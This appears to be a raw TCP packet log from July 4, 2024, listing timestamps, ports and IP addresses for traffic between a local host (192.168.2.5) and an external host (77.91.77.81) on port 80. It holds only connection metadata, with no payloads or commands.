Jul 4, 2024 22:21:06.071033001 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071043968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071065903 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071091890 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071281910 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071294069 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071304083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071316004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071319103 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071322918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071331978 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071336031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071348906 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071357965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071362972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071372986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071381092 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071381092 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071410894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071410894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071603060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071614027 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071623087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071633101 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071641922 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071645021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071655989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071657896 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071667910 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071681023 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071681023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071692944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071696997 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071710110 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071717978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071728945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071738005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071741104 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071751118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071753979 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071763992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071767092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071779966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071789980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071789980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071801901 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071805954 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071814060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071829081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071832895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071839094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071857929 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071873903 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105556011 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105631113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105638981 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105674028 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105685949 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105721951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105726957 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105753899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105757952 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105786085 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105808020 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105849028 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105850935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105887890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105890036 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105921030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105925083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105941057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105957031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105959892 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105976105 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.105978966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105997086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.105999947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.106012106 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.106017113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.106029034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.106051922 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140162945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140193939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140202999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140233994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140253067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140337944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140347958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140358925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140368938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140378952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140383959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140398026 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140414953 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140585899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140615940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140625954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140635967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140649080 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140659094 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140736103 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140747070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140752077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140760899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.140779018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.140809059 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.158792019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.158865929 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.158878088 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.158886909 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.158905983 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.158914089 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.158916950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.158926964 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.158941031 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.158961058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159002066 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159017086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159029007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159043074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159055948 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159063101 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159071922 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159096956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159204006 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159214973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159230947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159240961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159248114 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159251928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159265995 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159272909 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159298897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159403086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159415007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159424067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159446955 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159461021 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159501076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159512043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159521103 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159532070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159543991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159549952 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159567118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159746885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159756899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159766912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159776926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159789085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159796000 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159800053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159809113 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159811974 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159821033 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159825087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.159846067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159871101 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.159996986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160029888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160037994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160043001 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160058022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160062075 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160078049 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160090923 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160295010 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160312891 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160324097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160334110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160337925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160348892 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160348892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160360098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160367966 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160372019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160388947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160398960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160399914 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160408974 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160409927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160422087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160432100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160434961 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160446882 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160455942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160479069 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160494089 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160754919 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160767078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160794973 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160875082 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160887003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160897017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160907030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160917997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160923004 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160931110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160933018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160943031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160948992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160953999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160967112 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.160975933 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.160999060 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161185980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161204100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161212921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161222935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161228895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161233902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161247015 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161253929 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161257982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161268950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161278963 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161282063 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161290884 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161318064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161484957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161494970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161504984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161525011 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161539078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161644936 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161657095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161674023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161684036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161689997 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161694050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161706924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161715031 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161716938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161729097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161740065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161746025 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161750078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161761999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161772966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161777020 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161786079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161796093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161797047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161808014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161809921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161820889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161830902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161834955 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161842108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161854982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161854982 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161864996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.161875010 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161885977 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.161911964 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.195455074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195465088 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195478916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195504904 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.195524931 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.195538998 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195549965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195583105 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.195596933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195609093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.195641994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.196022034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196033955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196043968 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196074009 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.196089029 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.196165085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196176052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196185112 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196194887 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196207047 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196211100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.196225882 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.196250916 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.196316004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.196355104 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.230786085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230808020 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230834961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230845928 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.230863094 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.230874062 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.230941057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230956078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230966091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230976105 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.230986118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.230987072 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231005907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.231031895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.231174946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231185913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231194973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231204987 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231214046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.231216908 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231229067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.231235981 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.231254101 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.231273890 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.249806881 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.249842882 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.249860048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.249880075 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.249912024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.249946117 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.249957085 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.249980927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.249986887 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250019073 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250020027 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250063896 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250077009 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250119925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250138998 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250183105 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250195026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250228882 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250241041 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250251055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250267029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250278950 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250287056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250294924 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250300884 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250308990 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.250313044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.250324965 CEST	80	49719	77.91.77.81	192.168.2.5
